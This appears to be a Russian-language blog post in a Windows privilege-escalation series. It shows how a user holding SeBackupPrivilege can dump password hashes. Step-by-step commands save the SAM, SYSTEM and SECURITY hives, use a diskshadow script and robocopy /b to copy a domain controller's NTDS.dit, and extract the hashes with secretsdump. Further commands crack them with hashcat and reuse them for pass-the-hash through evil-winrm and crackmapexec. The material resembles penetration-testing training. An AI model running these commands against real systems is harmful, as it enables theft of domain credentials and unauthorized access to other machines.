Эта серия статей о повышении привелегий в системе за счет использования различных привелегий которыми обладает пользователь.
SeBackupPrivilege #
В этой статье пойдет речь о том, как можно эксплуатировать привелегию SeBackupPrivilege путем извлечения хешей
паролей из локальной базы данных SAM или из NTDS.dit контроллера домена.
whoami /priv
SAM #
Security Account Manager (SAM) — это локальная база данных пользователей, содержащая информацию о локальных
учётных записях (тех, которые существуют только на данном компьютере, а не в домене). Содержит хэши
паролей для локальных пользователей.
SYSTEM #
Хэши паролей в SAM зашифрованы с использованием ключей, хранящихся в SYSTEM. Для того, чтобы их скопировать достаточно
выполнить пару команд, при условии, что пользователь обладает правами SeBackupPrivilege.
cd c:\
mkdir Temp
reg save hklm\sam c:\Temp\sam
reg save hklm\system c:\Temp\system
Далее необходимо извлечь хэши, например с помощью impacket-secretsdump.
impacket-secretsdump -system system -sam sam LOCAL
SECURITY #
В ветке реестра hklm\security хранятся закэшированные пароли пользователей домена, которые логинились на эту
машину. Мы точно также можем извлечь эти хеши, как и из SAM.
reg save hklm\security C:\Temp\security
Извлечение хэшей
secretsdump.py -system system -security security LOCAL
NTDS.dit #
Если есть доступ к контроллеру домена и пользователю у которого есть привелегия SeBackupPrivilege, то мы можем
извлечь файл NTDS.dit в котором хранятся NTLM-хэши паролей и Kerberos ключи от всех пользователей домена.
Но с копированием NTDS.dit есть одна особенность. Файл NTDS.dit не может быть скопирован напрямую, так как он
постоянно используется системой и заблокирован для доступа. Для его извлечения используется техника создания
теневой копии (Volume Shadow Copy), которая позволяет создать консистентный снимок тома и безопасно скопировать
файл без нарушения работы системы.
Создание теневой копии #
Для создания теневой копии мы будем использовать утилиту Diskshadow.
Diskshadow #
Создадим файл script.txt.
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup
set metadata: Указывает место хранения метаданных.set context clientaccessible: Копия будет доступна для чтения.set context persistent: Теневая копия не будет удалена автоматически.add volume C:: Указывает, что мы создаём теневую копию для томаC:.expose %cdrive% E:: Монтирует теневую копию как дискE:.
Запускаем создание теневой копии:
diskshadow /s script.txt
Если возникла ошибка с выполнением скрипта, то скорее всего проблема заключается в кодировке или переносе строк.
Это можно попробовать исправить из PowerShell.
Get-Content script.txt | Set-Content -Encoding ASCII fixed_script.txt
И снова запустить diskshadow
diskshadow /s fixed_script.txt
Копирование NTDS.dit #
Для этого воспользуемся утилитой robocopy. Флаг /b (Backup Mode) позволяет обходить ACL
и копировать защищённые файлы с использованием привилегии SeBackupPrivilege.
robocopy /b E:\Windows\NTDS\ C:\Temp\ ntds.dit
Извлечение хешей #
impacket-secretsdump -system system -ntds ntds.dit LOCAL
Cleanup #
Демонтирование теневой копии.
Команда:
delete shadows volume c:
Сохраним ее в файл unmount.txt и запустим diskshadow.
diskshadow /s unmount.txt
Post Exploitation #
Hash cracking #
С помощью Hashcat мы можем попробовать подобрать пароли к полученным хэшам.
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
Pass the hash #
Если хэши взломать не удалось, то их можно использовать в различных утилитах выполняя атаку pass-the-hash.
Пару примеров ниже:
evil-winrm #
evil-winrm -i <target_ip> -u <username> -H <NTLM-хэш>
crackmapexec #
crackmapexec smb <target_ip> -u <username> -H <NTLM-хэш>
Заключение #
Со временем я буду пополнять серию новыми статьями по данной теме, используйте меню вверху и внизу страницы для навигации.
Подписывайтесь на мой Telegram канал Breach_Zone и твиттер Breach_Zone!